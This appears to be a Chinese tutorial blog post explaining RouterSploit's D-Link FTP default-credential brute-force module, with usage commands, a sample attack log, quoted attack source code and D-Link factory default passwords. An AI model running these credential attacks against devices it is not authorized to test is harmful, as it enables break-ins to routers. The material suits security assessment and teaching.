RouterSploit D-Link 路由器 FTP 默认凭据爆破模块实战:ftp_default_creds 使用与源码解析
2026/9/23 7:22:03 网站建设 项目流程

RouterSploit D-Link 路由器 FTP 默认凭据爆破模块实战:ftp_default_creds 使用与源码解析

【免费下载链接】routersploitExploitation Framework for Embedded Devices项目地址: https://gitcode.com/gh_mirrors/ro/routersploit

本篇文章围绕 RouterSploit(嵌入式设备漏洞利用框架)中的creds/routers/dlink/ftp_default_creds模块展开,讲解如何针对 D-Link 路由器 FTP 服务执行默认凭据字典攻击,并在命中后输出有效账号。读完本文,你将掌握该模块的交互式与非交互式两种调用方式、全部可配置参数(target / port / threads / defaults 等)的取值与作用、底层 FTP 客户端与多线程攻击的调用链,以及如何通过源码与测试用例验证模块行为。

模块概述:针对 D-Link FTP 服务的默认凭据字典攻击

creds/routers/dlink/ftp_default_creds是 RouterSploit 中专门面向 D-Link 路由器的凭据类(creds)模块。它的职责非常聚焦:对目标 D-Link 路由器的 FTP 服务执行默认凭据字典攻击(dictionary attack),遍历预先配置的用户名:密码组合尝试登录,一旦找到有效凭据,立即在终端中以表格形式展示给用户。

该模块的定义位于 模块源码,其__info__元数据如下:

class Exploit(FTPDefault): __info__ = { "name": "D-Link Router Default FTP Creds", "description": "Module performs dictionary attack against D-Link Router FTP service. " "If valid credentials are found, they are displayed to the user.", "authors": ( "Marcin Bury <marcin[at]threat9.com>", # routersploit module ), "devices": ( "D-Link Router", ), }

从源码结构看,该模块并非从零实现攻击逻辑,而是继承自通用 FTP 默认凭据模块routersploit.modules.creds.generic.ftp_default.Exploit(通用 FTP 默认凭据模块),并在其上覆写了 D-Link 专属的默认值:默认线程数改为 1、默认凭据字典改为admin:admin1234:1234root:12345root:root这四组组合。这种“厂商专用模块 = 通用攻击引擎 + 专属默认配置”的设计,是 RouterSploit creds 目录下所有路由器模块共用的模式,例如同目录下的 D-Link SSH 默认凭据、D-Link Telnet 默认凭据 均沿用同一套路。

验证步骤:交互式使用指南

原文档给出的标准验证步骤是模块最直接的用法。在项目根目录启动 RouterSploit 交互式终端(入口为 rsf.py),依次执行:

  1. 启动框架:./rsf.py
  2. 选择模块:use creds/routers/dlink/ftp_default_creds
  3. 设置目标:set target [TargetIP]
  4. 运行模块:run
  5. 若发现有效凭据,会在终端显示给用户

完整对话场景如下(摘自 原文档):

rsf > use creds/routers/dlink/ftp_default_creds rsf (D-Link Router Default FTP Creds) > set target 192.168.1.1 [+] target => 192.168.1.1 rsf (D-Link Router Default FTP Creds) > run [*] Running module... [*] Target exposes FTP service [*] Starting attack against FTP service [*] thread-0 thread is starting... [-] Authentication Failed - Username: 'admin' Password: '12345' [-] Authentication Failed - Username: 'admin' Password: '123456' [-] Authentication Failed - Username: 'Admin' Password: '12345' [-] Authentication Failed - Username: 'Admin' Password: '123456' [+] Authenticated Succeed - Username: 'admin' Password: 'admin' [*] thread-0 thread is terminated. [*] Elapsed time: 0.06290411949157715 seconds [+] Credentials found! Target Port Service Username Password ------ ---- ------- -------- -------- 192.168.1.1 21 ftp admin admin

流程解读:use命令加载模块后提示符变为rsf (D-Link Router Default FTP Creds)set target写入目标 IP;run依次执行“探测 FTP 服务是否开放 → 启动多线程攻击 → 逐条尝试凭据 → 命中后汇总输出”。输出中[-]表示单次认证失败,[+]表示认证成功,最后通过print_table渲染出包含 Target / Port / Service / Username / Password 五列的汇总表。

值得注意的是,上述日志中123456Admin等组合并不在本模块默认的 4 组字典中——原文档示例演示的是在运行时通过set defaults扩展了字典后的效果(下文参数章节会说明defaults如何配置),这也说明该模块的字典是高度可定制的。

参数详解:target / port / threads / defaults

模块在 ftp_default_creds.py 中声明了 4 个核心参数:

参数类型默认值说明
targetOptIP目标 IPv4 / IPv6 地址,或file://开头的文件路径(内含ip:port列表)
portOptPort21目标 FTP 服务端口
threadsOptInteger1并发线程数
defaultsOptWordlistadmin:admin,1234:1234,root:12345,root:root用户名:密码组合,支持逗号分隔内联或file://词表文件

除此之外,由于模块继承自通用 FTP 默认凭据模块,还额外继承了两个开关参数:stop_on_success(默认true,命中第一组有效凭据后立即停止其余线程)与verbosity(默认true,是否逐条打印认证尝试)。通用模块的完整参数定义见 ftp_default.py。

参数类型与校验逻辑

  • OptIP:接收 IPv4 或 IPv6 地址(校验正则见 utils.py 中的is_ipv6is_ipv4),非法地址会抛出OptionValidationError;同时支持file://前缀指向包含多个ip:port条目的文件,配合@multi装饰器可对多目标批量攻击。
  • OptPort:端口被强制转为int,合法区间为1~65535(见 option.py 中OptPort.__set__),超出范围直接报错。
  • OptInteger:整数值,可接受十进制或0x开头的十六进制字符串。
  • OptWordlist:这是最灵活的选项,其取值行为定义在 option.py:
    • 若值以file://开头,则把后面的路径当作词表文件,读取时逐行 strip 后组成列表返回(每行一组user:pass);
    • 否则按英文逗号切分为列表。

词表文件与内置字典

框架在 routersploit/resources/wordlists/init.py 中通过pkg_resources暴露了多份内置词表:defaults.txt(通用默认凭据)、passwords.txtusernames.txtsnmp.txt。D-Link 专用模块没有直接引用通用defaults.txt,而是内置了 4 组针对性组合;不过你完全可以在运行时把defaults指向file://形式的内置词表路径,例如set defaults file:///path/to/defaults.txt。通用词表 defaults.txt 共 653 行,除了常规的admin:adminAdmin:admin外,还包含大量 D-Link 相关的出厂口令,如Alphanetworks:wapnd03cm_dkbs_dap2555Alphanetworks:wrgn22_dlwbr_dir615Alphanetworks:wrgn23_dlwbr_dir300b等——这些正是历史上 D-Link DIR 系列路由器的真实出厂默认口令形态,体现了词表对厂商设备的针对性覆盖。

底层攻击流程:check → 多线程字典攻击 → 结果输出

D-Link 模块本身只声明参数与元数据,真正的攻击流程全部由父类 ftp_default.py 实现,调用链如下:

def run(self): self.credentials = [] self.attack() @multi def attack(self): if not self.check(): return print_status("Starting attack against FTP service") data = LockedIterator(self.defaults) self.run_threads(self.threads, self.target_function, data) ...

第一步:check() 探测 FTP 服务

check()调用self.ftp_create()创建 FTP 客户端,再调用ftp_client.test_connect()

def check(self): ftp_client = self.ftp_create() if ftp_client.test_connect(): print_status("Target exposes FTP service", verbose=self.verbosity) return True print_status("Target does not expose FTP service", verbose=self.verbosity) return False

test_connect()(见 ftp_client.py)本质是“连接成功后立即断开”。若探测失败,模块直接返回,不做无意义的字典尝试;探测成功才输出日志Target exposes FTP service并进入攻击阶段。

第二步:多线程字典攻击

攻击核心是target_function,它配合LockedIteratorrun_threads实现线程安全的字典消费:

def target_function(self, running, data): while running.is_set(): try: username, password = data.next().split(":", 1) except StopIteration: break else: ftp_client = self.ftp_create() if ftp_client.connect(retries=3) is None: print_error("Too many connections problems. Quiting...", verbose=self.verbosity) return if ftp_client.login(username, password): if self.stop_on_success: running.clear() self.credentials.append((self.target, self.port, self.target_protocol, username, password)) ftp_client.close()

关键实现细节:

  • data.next().split(":", 1)split(":", 1)只按第一个冒号切分,确保密码本身即使含冒号也不会被破坏;
  • 每个凭据组合都会新建一个 FTP 客户端连接connect(retries=3)表示连接失败最多重试 3 次,重试耗尽直接放弃(防止目标抖动导致线程无限阻塞);
  • 命中凭据后,若stop_on_successtrue则通过running.clear()通知所有线程停止,实现“找到即停”。

第三步:结果汇总输出

所有线程结束后,若self.credentials非空,则打印Credentials found!并用表格输出:

if self.credentials: print_success("Credentials found!") headers = ("Target", "Port", "Service", "Username", "Password") print_table(headers, *self.credentials) else: print_error("Credentials not found")

这正是原文档示例末尾五列表格的来源。若一个有效凭据都没找到,则输出Credentials not found

FTP 客户端的底层实现

所有连接动作最终落到 ftp_client.py 中的FTPCli类,它基于 Python 标准库ftplib封装:

  • connect(retries):调用ftplib.FTP.connect(target, port, timeout=FTP_TIMEOUT),其中FTP_TIMEOUT = 8.0秒,连接失败按重试次数循环并打印错误;
  • login(username, password):调用ftplib.FTP.login,成功打印FTP Authentication Successful,异常则打印FTP Authentication Failed后关闭连接;
  • 构造函数支持ssl参数选择ftplib.FTP_TLS(默认关闭),因此同一套客户端既可攻击明文 FTP 也可攻击 FTPS。

非交互式使用:命令行直接运行

除了交互式终端,RouterSploit 支持通过 rsf.py 的-m/-s参数非交互执行(实现见 interpreter.py 的nonInteractive方法):

./rsf.py -m creds/routers/dlink/ftp_default_creds -s "target 192.168.1.1" -s "threads 4"

-m指定模块,-s可多次使用、每次设置一个选项(参数之间用空格分隔)。非交互模式适合把凭据检测嵌入脚本或定时任务,便于自动化批量验证内网 D-Link 设备的默认口令暴露情况。

模块还支持file://多目标批量:把多个ip:port写入文件后,set target file:///path/to/targets.txt,配合@multi装饰器即可对文件中的每个目标依次执行完整流程。

源码级验证:测试用例如何确认模块行为

仓库的测试目录为模块行为提供了可复现的验证。测试文件 tests/creds/routers/dlink/test_ftp_default_creds.py 中的test_check_success用例断言了模块的全部默认值:

assert exploit.target == "" assert exploit.port == 21 assert exploit.threads == 1 assert exploit.defaults == ["admin:admin", "1234:1234", "root:12345", "root:root"] assert exploit.stop_on_success is True assert exploit.verbosity is True

这与模块源码中的声明完全一致,可直接作为“模块默认配置”的权威清单。测试随后将target/port指向测试夹具generic_target(一个模拟的 FTP 服务),并断言check()返回Falsecheck_default()返回Nonerun()返回None——即在无效目标上模块能安全退出、不产生异常。夹具定义见 tests/conftest.py。

此外,tests/test_exploit_scenarios.py 展示了框架对模块check()返回值(True / False / None)的统一契约测试思路,说明所有模块的探测方法都必须符合这一约定,D-Link FTP 模块同样遵守。

安全提示与适用范围

  • 本文及该模块的用途是评估自有或已获授权的网络资产,对未授权目标执行凭据爆破可能违反当地法律法规,请务必在授权范围内使用;
  • 该模块仅覆盖 FTP 服务的默认凭据;D-Link 设备的 Web 管理界面、Telnet、SSH 服务需分别选用对应的默认凭据模块(见 creds/routers/dlink 目录下的webinterface_*telnet_*ssh_*模块);
  • 模块默认仅尝试 4 组凭据,覆盖面有限;建议结合厂商公开的出厂默认口令列表或 内置词表 扩充defaults后再执行,并适当调高threads以缩短耗时(注意并发过高可能触发目标锁定或误报)。

【免费下载链接】routersploitExploitation Framework for Embedded Devices项目地址: https://gitcode.com/gh_mirrors/ro/routersploit

创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询